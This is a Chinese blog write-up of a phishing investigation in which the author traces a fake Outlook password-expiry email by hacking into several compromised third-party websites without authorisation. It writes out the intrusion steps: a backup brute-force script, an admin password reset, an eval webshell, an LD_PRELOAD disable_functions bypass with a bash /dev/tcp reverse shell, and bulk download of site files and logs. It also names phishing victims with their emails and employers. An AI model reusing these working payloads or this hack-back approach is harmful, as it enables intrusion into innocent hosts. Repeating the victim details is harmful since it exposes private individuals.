一、前言
近日朋友收到一封来自海外的钓鱼邮件委托我帮忙分析。因此我对钓鱼者身份和攻击路径进行了一次详细的溯源。大致摸清了攻击者组织身份、攻击手法以及动机。本次溯源工作主要是通过提取攻击者控制的肉鸡服务器、网站访问日志、攻击者后门特征等。关联分析这些日志和特征最终得到攻击者的身份信息。本文以流水账的方式详细记录整个溯源过程,包括分析手法和思路,以供安全研究人员参考。
二、信息收集
这是一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件。
2.1 邮件正文
Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
by bizmx16.qq.com (NewMx) with SMTP id
for <test@test.cn>; Thu, 29 Nov 2018 06:56:41 +0800
X-QQ-SPAM: true
X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
yGbgfv5Gx9Qr65abnNzXymg=
X-QQ-mid: bizmx16t1543445804ti4ex7suw
X-QQ-CSender: www-data@m7web1.platon.sk
X-QQ-ORGSender: www-data@m7web1.platon.sk
X-KK-mid:bizmxp6t1543445804t9ne878su
Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
for <test@test.cn>; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
Received: by m7web1.platon.sk (Postfix, from userid 33)
id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
To: test@test.cn
Subject: =?UTF-8?Q?Password_expiry_notice?=
Date: Wed, 28 Nov 2018 23:56:38 +0100
From: =?UTF-8?Q?Microsoft_Online_Services_Team?= <no-response@365.mirohaviar.sk>
Message-ID: <0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>
X-Priority: 3
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="us-ascii"
略...
<br>The password for the Microsoft 365 account<span style=3D"font-weight: b=
old;"> test@test.cn
</span> has
expired.<br>![mir-nc.png-57.1kB][2]
<span class=3D"Apple-converted-space"></span><br>To protect your Microsoft =
account, your existing password may cease to work
shortly.<br>
<br>
You are now required to <span class=3D"Apple-converted-space"></span><a hre=
f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=
test.cn
"><span style=3D"font-weight: bold;">change
your password</span></a>
immediateIy.<span class=3D"Apple-converted-space"> <br>
=2E</span><br>
<a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn
略...
2.2 分析邮件内容
根据邮件内容得到的信息如下
钓鱼网站
www.rosturplast.com137.74.81.5 法国
钓鱼链接:
http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn
发件地址
no-response@365.mirohaviar.sk
服务商
Platon Technologies, s.r.o 斯洛伐克
SMTP
sysmailout1.platon.sk 85.248.228.17 斯洛伐克
三、渗透钓鱼网站
3.1 漏洞分析
访问钓鱼链接一个克隆OWA修改密码的的虚假页面我们按照正常流程走一遍密码随便输入。不出所料页面提示密码错误这么做可以收集受害者多个密码提高成功率仔细想想这个功能还是很贴心的。
Step 2
注入、跨站之流都是不存在的。
邮件钓鱼攻击与溯源
访问首页这是一家俄罗斯的塑料水管厂商攻击者入侵了这个网站放置了钓鱼页面再通过邮件传播。
端口扫描显示开放了一堆端口防火墙做了策略限制。
[+] HOST: www.rosturplast.com 137.74.81.5 法国
[+] OS: Red Hat 4.8
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
[+] CMS: Joomla 3.3.3 Joomla!是一套海外流行的建站系统基于PHP+MySQL开发
这是一个低版本的Joomla!,joomscan扫描显示受害网站有一堆漏洞看起来弱不禁风Getshell指日可待。
扫描发现PHPMailer RCE漏洞不过需要邮件发送表单功能才能利用这一堆漏洞里面看起来唯一有机会的是CVE-2016-9838Joomla! Core Remote Privilege Escalation Vulnerability然而经过测试攻击者丧心病狂贴心的把用户注册页面删除了堵住了漏洞导致无法利用。
机智的我此时毫无办法开始挂字典整合Joomla目录盲扫备份文件最后发现目标存在PhpMyAdmin后台和一个报错页面页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。
/var/www/rosturpl/data/www/rosturplast.com/rosturplast.com.2015-11-11.zip
3.2 陷入僵局
尝试下载这个文件http响应404。看了一下同站有多个站点但旁站渗透是个体力活国外这种典型的CloudLinux+cPanel的架构不好提权。到这一步陷入了僵局睡个午觉养养神下午继续研究。
wget http://www.rosturplast.com/rosturplast.com.2015-11-11.zip 错误 404Not Found
3.3 后台提权
不到万不得已不从旁站和C段入手稍加思索根据报错页面的备份文件名格式生成日期文件尝试遍历日期下载碰碰运气。
脚本内容
#!/bin/bash
startdate=`date -d "+0 day $1" +%Y%m%d`
enddate=`date -d "+0 day $2" +%Y%m%d`
while [[ $startdate -le $enddate ]]
do
date=$startdate
startdateother=`date -d "+0 day $date" +%Y-%m-%d`
dateother=$startdateother
url=http://www.rosturplast.com/rosturplast.com.$dateother.zip
echo "$url"
startdate=`date -d "+1 day $date" +%Y-%m-%d`
startdateother=`date -d "+1 day $date" +%Y-%m-%d`
wget $url
done
脚本大概跑了一个下午当到达2017-08-07的时候响应200状态码看到rosturplast.com.2017-08-07.zip的文件大小为177M 感觉成了解压后果然是整站备份果然是柳暗花明又一shell。
查看配置文件configuration.php
得到数据库连接信息登录PhpMyAdmin后台。低权限无法直接写shell只能修改默认密码登录Joomla!后台。
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'user***'; //敏感信息打码
public $password = 'K********6759'; //敏感信息打码
public $db = 'rtp_com3';
public $dbprefix = 'ms8ef_';
public $live_site = '';
public $secret = '5qp******4zU'; //敏感信息打码
备份原始密文以备还原将后台密码修改为 test123456XYZ
http://www.rosturplast.com/administrator/
admin / test123456XYZ
登录后台通过模板写入WebShell
Extensions —> Template Manager —> Template —> New Files —> PHP WebSehll
这里写入了PHP一句话WebShell通过Cknifejava版中国菜刀对网站进行控制。
<?php @eval($_POST['cmd']);?>
查看攻击者的钓鱼文件目录user.txt
详细记录了上钩的受害者信息
3.4 日志分析
将网站文件和访问日志下载到本地分析
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/log.tar.gz /var/www/rosturpl/data/access-logs/var/www/rosturpl/data/logs/rosturplast*
[/tmp]$ tar zcvf /var/www/rosturpl/data/www/rosturplast.com/www.tar.gz --exclude=/var/www/rosturpl/data/www/rosturplast.com/www.tar.gz /var/www/rosturpl/data/www/rosturplast.com/
wget -c http://www.rosturplast.com/log.tar.gz && wget -c http://www.rosturplast.com/www.tar.gz
⚡ root@kali /tmp gzip -d *.gz
⚡ root@kali /tmp ls -lh
总用量 22M
-rw-r----- 1 48 6313 392K 11月 30 16:19 rosturplast.com.access.log
-rw-r----- 1 48 6313 418K 11月 21 08:08 rosturplast.com.access.log-20181121
-rw-r----- 1 48 6313 315K 11月 22 08:27 rosturplast.com.access.log-20181122
-rw-r----- 1 48 6313 367K 11月 23 08:08 rosturplast.com.access.log-20181123
-rw-r----- 1 48 6313 332K 11月 24 08:20 rosturplast.com.access.log-20181124
-rw-r----- 1 48 6313 394K 11月 25 08:30 rosturplast.com.access.log-20181125
-rw-r----- 1 48 6313 217K 11月 26 08:27 rosturplast.com.access.log-20181126
-rw-r----- 1 48 6313 338K 11月 27 08:07 rosturplast.com.access.log-20181127
-rw-r----- 1 48 6313 1.8M 11月 28 08:35 rosturplast.com.access.log-20181128
-rw-r----- 1 48 6313 2.3M 11月 29 08:38 rosturplast.com.access.log-20181129
-rw-r----- 1 48 6313 6.4M 11月 30 08:38 rosturplast.com.access.log-20181130
-rw-rw---- 1 48 6313 267K 11月 30 16:00 rosturplast.com.error.log
-rw-rw---- 1 48 6313 3.8K 11月 21 03:44 rosturplast.com.error.log-20181121
-rw-rw---- 1 48 6313 1.9K 11月 21 14:43 rosturplast.com.error.log-20181122
-rw-rw---- 1 48 6313 1.9K 11月 23 02:30 rosturplast.com.error.log-20181123
-rw-rw---- 1 48 6313 5.0K 11月 24 01:46 rosturplast.com.error.log-20181124
-rw-rw---- 1 48 6313 8.3K 11月 25 02:07 rosturplast.com.error.log-20181125
-rw-rw---- 1 48 6313 2.3K 11月 26 05:05 rosturplast.com.error.log-20181126
-rw-rw---- 1 48 6313 4.1K 11月 27 05:34 rosturplast.com.error.log-20181127
-rw-rw---- 1 48 6313 550K 11月 28 08:35 rosturplast.com.error.log-20181128
-rw-rw---- 1 48 6313 6.5M 11月 29 07:51 rosturplast.com.error.log-20181129
-rw-rw---- 1 48 6313 1.4M 11月 30 08:38 rosturplast.com.error.log-20181130
用D盾扫网站文件发现这个网站已成跑马场。
攻击者在shells/
目录下放置钓鱼文件和PHP后门。
查看哪些IP访问了后门并统计次数
查询攻击者IP地址
⚡ root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
26 174.85.145.99
20 50.73.252.169
10 213.233.104.120
2 207.228.149.69
2 195.211.23.207
2 129.205.113.8
⚡ root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 174.85.145.99 来自: 美国
IP: 50.73.252.169 来自: 美国
IP: 213.233.104.120 来自: 罗马尼亚
IP: 207.228.149.69 来自: 百慕大
IP: 195.211.23.207 来自: 俄罗斯
IP: 129.205.113.8 来自: 尼日利亚
根据后门文件名匹配Apache访问日志得到攻击者的代理IP和User Agent
⚡ root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
通过日志匹配邮箱并去重得到受害者邮箱地址
egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml="'{print $2}' |sort |uniq
⚡ root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
alexsin54@yahoo.com //攻击者邮箱
clavenda.payman@lbdi.net //利比亚发展投行CFO
dennis@rayfields.co.za //域名失效
georges.raad@nera.net //新加坡IT基础设施提供商员工
gthakkar@sscinc.com //美国SS&C Technologies, Inc. 印度分公司
jasonchowan223@gmail.com //攻击者邮箱
******@******.com //同事
jiajie.lim@cimb.com //马来西亚联昌国际银行员工
kohchinbeng@bdo.com.sg //新加坡立信会计师事务所员工
mayfaithlee@hotmail.com //未知
philip@beekoo.hk //深圳市很有蜂格网络科技有限公司CEO
Point72.IR@sscinc.com //美国SS&C Technologies, Inc.
shunweicapital@sscinc.com //美国SS&C Technologies, Inc.疑似顺为资本
url@email.com //无效
3.5 受害者身份识别
通过搜索引擎对这15个受害者邮箱进行身份识别。
3.5.1 alexsin54@yahoo.com / jasonchowan223@gmail.com
3.5.2 clavenda.payman@lbdi.net
Mrs. Clavenda O. PAYMAN 利比亚发展投行Liberian Bank forDevelopment and nvestment首席财务官
3.5.3 georges.raad@nera.net
疑似新加坡 Nera Telecommunications LtdIT基础设施提供商公司员工
来源http://www.nera.net/about-us.html
3.5.4 gthakkar@sscinc.com
美国SS&C Technologies, Inc. & 印度金融服务公司 Globeop Financial Services Technologies (India) Private Limited
来源https://www.instafinancials.com/company/globeop-financial-services-india-private-limited/U67100MH2003PTC141044
3.5.5 jiajie.lim@cimb.com
马来西亚联昌国际银行员工CIMB Group
来源https://www.cimb.com/en/who-we-are.html
3.5.6 kohchinbeng@bdo.com.sg
KOH CHIN BENG 新加坡立信会计师事务所员工
3.5.7 philip@beekoo.hk
深圳市很有蜂格网络科技有限公司 CEO
四、渗透邮件发送网站
目标mirohaviar.sk 这是一个博客网站
4.1 漏洞扫描
服务器信息如下:
[+] HOST: mirohaviar.sk85.248.229.150 斯洛伐克
[+] OS: Debian 7
[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16
[+] CMS: Joomla 1.5
CMS漏洞扫描得到图示的漏洞信息经过测试全部无法利用其他端口也没有发现可以利用的的漏洞看来攻击者也是一个勤奋的同学入侵成功后做了相应的修复和加固看起来毫无办法好像只能旁站或者C段渗透了。
然而有人的地方就有江湖有黑客入侵过的网站一定有后门。这类利用通用漏洞批量入侵的黑客团伙后门文件一般都有特征我根据前一个网站获得的php后门文件名列表批量访问当前网站得到了三个相同的后门文件。
⚡ root@kali /tmp/rosturplast.com/webroot/shells md5sum *
724e7316427151ea1f449f38a28f642c 406.php
3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaa
aaf775b99997c166ff45677806d809de an.php
e5c06f1f66781ba5c39d909096c4cd47 a.txt
f71ad06982064b125d155b6f601198b8 bacu.php
f2d7553b97d8e0a0258e48c3ca42a7d2 baer.php
c01a0691c484a8d00977a100d8706b50 cfg.php
e5c06f1f66781ba5c39d909096c4cd47 config.php
md5sum: logon.secureaccess: 是一个目录
983ba05973b84e33e76916ca0dabedec new2bug.txt
1c014f955a67974dc779100c13162f1a priv8.php
2a73dda7ebb3b8d1c0d094b79623e9ff setup.php
80b5dadd0a9856f1e6d950843140d24e switch-security.php
48f50fb676028e0ae82f3f2db4e26247 unzipper.php
51f0bba7ec30b8778dca19ead016a58f webapp365.zip
58d1d66c0be0739319156702522b1b52 wso.php
相同文件名如下:
http://www.mirohaviar.sk/config.php
http://www.mirohaviar.sk/an.php
http://www.mirohaviar.sk/bacu.php Pro Mailer V2
其中 http://www.mirohaviar.sk/config.php
是攻击者的加密WebShell理论上只需解密获得密码就能登录这个后门。
4.2 解密WebShell
解密过程如下:
awk -F "\"" '{print $2}' config.php
//去除头尾多余字符得到base64密文。
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'
//第一次base64解码得到16进制密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p
//第二次hex解码得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p|base64 -d -i |awk -F "\"" '{print $2}'
//第三次base64解码得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p|base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}'
//第四次base64解码得到base64密文
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p|base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i
//第五次base64解码得到明文
得到后门密码hashMD5解密后得到明文: root 饶了个大弯原来是个弱口令下次遇到这类先跑一下密码
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
这个后门有点皮做了UserAgent判断我浏览器默认设置的UA是Googlebot访问显示404这是反搜索引擎爬虫的惯用手段所以我换了个正常浏览器的UA访问得到正常页面。
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
4.3 提权
通过webshell得到了具体系统信息下一步尝试提权目的是获得Apache的web访问日志。
4.3.1 突破 disable_functions
测试发现目标限制跨目录open_basedir并禁用了命令执行函数导致WebShell权限下无法跨目录访问也无法执行命令。
disable_functionsescapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec
open_basedir /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/
突破的手段很多这里我利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。
查看sendmail函数在执行过程中动态调用哪些标准库函数。
www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 420 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
......
76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)
77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)
从中选取geteuid函数进行测试编写动态链接程序bypass.c
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload() {
system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
}
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时尝试加载payload()函数执行命令调用system执行一个反弹shell的操作xxx.xxx.xxx.xxx即是我的公网服务器IP
编译
gcc -c -fPIC bypass.c -o bypass
gcc -shared bypass.c -o bypass.so
上传
www-data@m7web1:/tmp$ cat b64.txt|base64 -d >bypass.so
www-data@m7web1:/tmp$ file bypass.so
file bypass.so
bypass.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV)
执行
bypass.php
<?php
putenv("LD_PRELOAD=/tmp/bypass.so");
mail("test@localhost","","","","");
?>
浏览器访问http://www.mirohaviar.sk/bypass.php
页面后成功执行命令得到了一个www-user权限的反弹shell。
4.3.2 发现行踪
仔细看这是一家斯洛伐克的网络公司这台服务器上面托管了五百多个网站当前的权限可以访问这些网站的文件和数据库令人遗憾的的是apache日志目录/var/log/apache2/
无权限访问。
不过我在/tmp
目录下面发现了一个有趣的日志文件。
[/tmp/]$cat w
--2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgz
Connecting to 187.85.134.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769309 (751K) [application/x-gzip]
Saving to: 'mm.tgz'
0K .......... .......... .......... .......... .......... 6% 174K 4s
50K .......... .......... .......... .......... .......... 13% 176K 4s
100K .......... .......... .......... .......... .......... 19% 14.1M 2s
150K .......... .......... .......... .......... .......... 26% 353K 2s
200K .......... .......... .......... .......... .......... 33% 353K 2s
250K .......... .......... .......... .......... .......... 39% 19.8M 1s
300K .......... .......... .......... .......... .......... 46% 355K 1s
350K .......... .......... .......... .......... .......... 53% 28.7M 1s
400K .......... .......... .......... .......... .......... 59% 23.6M 1s
450K .......... .......... .......... .......... .......... 66% 344K 1s
500K .......... .......... .......... .......... .......... 73% 18.0M 0s
550K .......... .......... .......... .......... .......... 79% 360K 0s
600K .......... .......... .......... .......... .......... 86% 20.4M 0s
650K .......... .......... .......... .......... .......... 93% 20.2M 0s
700K .......... .......... .......... .......... .......... 99% 12.7M 0s
750K . 100% 2438G=1.3s
2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]
4.4 追踪
根据泄露日志使用谷歌搜索关键字http://187.85.134.4
发现了一个历史页面。
这是一个已经被删除的后门页面刚好被谷歌爬虫收录了进一步搜索一下这个后门参数的关键字
inurl:bc.php?filesrc=
得到了多条后门记录。
其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合疑似自动化攻击留下的日志WebShell底部署名
Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber
表明后门均为这个黑客组织所有。
进一步搜索这个黑客组织名称发现大量被黑网站程序使用Wordpress与Joomla居多。
4.5 提取日志
我提取了其中几个被入侵网站的访问日志。
4.5.1 网站www.radiolanalhue.cl
打包
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz
--exclude=/home/radiolanalhue/public_html/www.radiolanalhue.cl.tar.gz /home/radiolanalhue/public_html/
tar zcvf /home/radiolanalhue/public_html/www.radiolanalhue.cl.log.tar.gz/home/radiolanalhue/logs/radiolanalhue.cl-ssl_log-Nov-2018.gz /home/radiolanalhue/access-logs/ /home/radiolanalhue/access-logs/radiolanalhue.cl
下载
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.tar.gz
wget -c http://www.radiolanalhue.cl/www.radiolanalhue.cl.log.tar.gz
分析
根据后门文件名匹配Apache访问日志到攻击者代理IP和User Agent。
✘ ⚡ root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018
疑似攻击者代理IP
212.1.211.3 美国 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-""Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
谷歌爬虫
66.249.66.149 - - [01/Dec/2018:00:53:57 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-""Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.66.151 - - [01/Dec/2018:06:34:34 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/favicon.ico&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 2348 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.66.153 - - [01/Dec/2018:06:51:46 -0300] "GET /online/templates/beez5/bc.php?filesrc=/home/radiolanalhue/public_html/online/templates/beez5/component.php&path=/home/radiolanalhue/public_html/online/templates/beez5 HTTP/1.1" 200 5456 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
4.5.2 网站zebramedia.al
打包
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz --exclude=/home/vayqpdvg/zebramedia.al/zebramedia.al-www.tar.gz /home/vayqpdvg/zebramedia.al/
tar zcvf /home/vayqpdvg/zebramedia.al/zebramedia.al-log.tar.gz /home/vayqpdvg/logs
下载
wget http://zebramedia.al/zebramedia.al-log.tar.gz
wget http://zebramedia.al/zebramedia.al-www.tar.gz
-rw-r--r-- 1 1365 1328 478714 11月 30 21:15 evropakrijuese.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 6463 11月 30 21:15 evropakrijuese.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 1855430 6月 30 2018 ftp.publik.live-ftp_log-Jun-2018.gz
-rw-r--r-- 1 1365 1328 7899 11月 27 21:12 ftp.publik.live-ftp_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 22883767 11月 30 21:15 ief.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 67526 11月 30 21:15 ief.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 68187 11月 30 21:15 instadyqan.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 34530 11月 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 35748 11月 30 21:15 pigmentnews.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 7709 11月 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 129055 11月 30 21:15 publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 14487 11月 30 21:15 publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 88292 11月 30 21:15 zebramedia.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 139759 11月 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz
-rw-r--r-- 1 1365 1328 6047261 11月 30 21:15 zeri-popullit.publik.live-Nov-2018.gz
-rw-r--r-- 1 1365 1328 52004 11月 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz
分析
根据后门文件名匹配Apache访问日志到攻击者代理IP和User Agent。
⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":"'{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq
148 197.211.61.82 (尼日利亚)
8 178.128.221.199 希腊
⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk-F ":" '{print $2 $6}' |sort |uniq
178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
4.5.2 网站helioncomposites.com
打包
日志路径:
/home2/helionco/access-logs/helioncomposites.com/
日志备份:
ls /home2/helionco/logs/
ftp.helioncomposites.com-ftp_log-Feb-2018.gz
helioncomposites.com-Dec-2018.gz
helioncomposites.com-Nov-2018.gz
helioncomposites.com-ssl_log-Dec-2018.gz
helioncomposites.com-ssl_log-Nov-2018.gz
tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz /home2/helionco/www/
tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/
下载
wget http://helioncomposites.com/helioncomposites.com-log.tar.gz
wget http://helioncomposites.com/helioncomposites.com-www.tar.gz
分析
根据后门文件名匹配Apache访问日志到攻击者代理IP和User Agent。
⚡ root@kali /tmp grep ".php" * |grep "/home2/helionco/public_html/" |grep "HTTP\/1.1\" 200" |awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
1137 198.143.51.17
588 198.143.38.3
478 198.143.41.14
246 198.143.32.13
131 198.143.32.3
103 198.143.57.3
86 198.143.57.73
84 198.143.57.5
46 198.143.32.10
32 198.143.37.15
......
⚡ root@kali /tmp for line in $(</ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 198.143.51.17 来自: 以色列 Incapsula
IP: 198.143.38.3 来自: 美国 Incapsula
IP: 198.143.41.14 来自: 美国 Incapsula
IP: 198.143.32.13 来自: 美国 Incapsula
IP: 198.143.32.3 来自: 美国 Incapsula
IP: 198.143.57.3 来自: 美国 Incapsula
IP: 198.143.57.73 来自: 美国 Incapsula
